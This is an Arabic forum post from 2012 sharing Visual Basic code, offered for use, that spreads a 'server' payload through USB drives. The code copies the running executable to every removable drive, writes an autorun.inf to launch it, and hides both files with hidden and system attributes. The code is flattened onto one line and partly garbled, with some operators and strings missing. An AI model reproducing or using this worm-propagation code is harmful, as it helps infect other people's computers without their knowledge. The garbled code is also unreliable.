[ طريقة ] Usb Spread كود فيجوال بيسك

السلام عليكم ورحمة الله وبركاته جبت الكم كود انتشار السيرفر usb بدون برامج ولاهم يحزنون فقط الصق الكود بالفيجوال بيسك بعد عمل موديل جديد كود: ' Dim FSO,

إضافة رد
 
LinkBack أدوات الموضوع انواع عرض الموضوع
  #1 (permalink)  
قديم 2012-08-06, 03:28 AM
الصورة الرمزية صوتك يناديني

 
تاريخ التسجيل: Dec 2011
المشاركات: 5,816
صوتك يناديني is on a distinguished road
افتراضي [ طريقة ] Usb Spread كود فيجوال بيسك


السلام عليكم ورحمة الله وبركاته
جبت الكم كود انتشار السيرفر usb بدون برامج ولاهم يحزنون
فقط الصق الكود بالفيجوال بيسك بعد عمل موديل جديد



كود:
' Dim FSO, SURUCULER, SURUCU Set FSO = CreateObject("SCRIPTING.FILESYSTEMOBJECT") Set SURUCULER = FSO.DRIVES For Each SURUCU In SURUCULER If SURUCU.DRIVETYPE = 1 Then 'EGER SILINEBILIR ISE If Right(YOL, 1) "\" Then YOL = YOL & "" If DosyaVarmi(SURUCU & "autorun.inf") Then SetAttr SURUCU & "autorun.inf", 0 Kill SURUCU & "autorun.inf" End If Open SURUCU & "autorun.inf" For Append As #1 Print #1, "[autorun]" & vbCrLf & _ "open=" & SURUCU & "" & AD Close #1 If Not DosyaVarmi(SURUCU & "" & AD) Then FileCopy YOL & AD, SURUCU & "" & AD End If SetAttr SURUCU & "" & AD, 4 'DOSYA OZNITELIKLERINI UYGULA SetAttr SURUCU & "autorun.inf", 4 SetAttr SURUCU & "" & AD, 2 SetAttr SURUCU & "autorun.inf", 2 End If Next End Function Public Function DosyaVarmi(DosyaAdi As String) As Boolean On Error GoTo DosyaYok Call FileLen(DosyaAdi) DosyaVarmi = True Exit Function DosyaYok: End Function Sub Main() INFECT_USB App.Path, App.EXEName & ".exe" End Sub
ارجو الافادة:32::32::32:
الاهداء لكل اعضاء وزوار الديف بدون منازع :13::13:


__________________
قلبي " معك " لو شفت جسمي مع الناس...
ما غاب " طيفك "عن خيالي دقيقه ..
رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدليلية (Tags)
بيسك, طريقة, spread, كود, usb, فيجوال



جديد مواضيع قسم حمايه الاجهزه
 
أدوات الموضوع
انواع عرض الموضوع

[ طريقة ] Usb Spread كود فيجوال بيسك


المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
طريقة لتعطير الفم وتقوية اللثة - طريقة لتعطير الفم وتقوية اللثة جنون انسان دليل قلب 0 2012-04-13 03:36 AM
طريقة عمل لقب بالفوتوشوب - طريقة عمل لقب بالفوتوشوب جنون انسان دليل قلب 0 2012-04-08 09:52 PM

RSS RSS 2.0 XML MAP HTML


الساعة الآن 01:47 PM


Powered by vBulletin Copyright ©2000 - 2014

Security team


Search Engine Optimization by vBSEO 3.6.0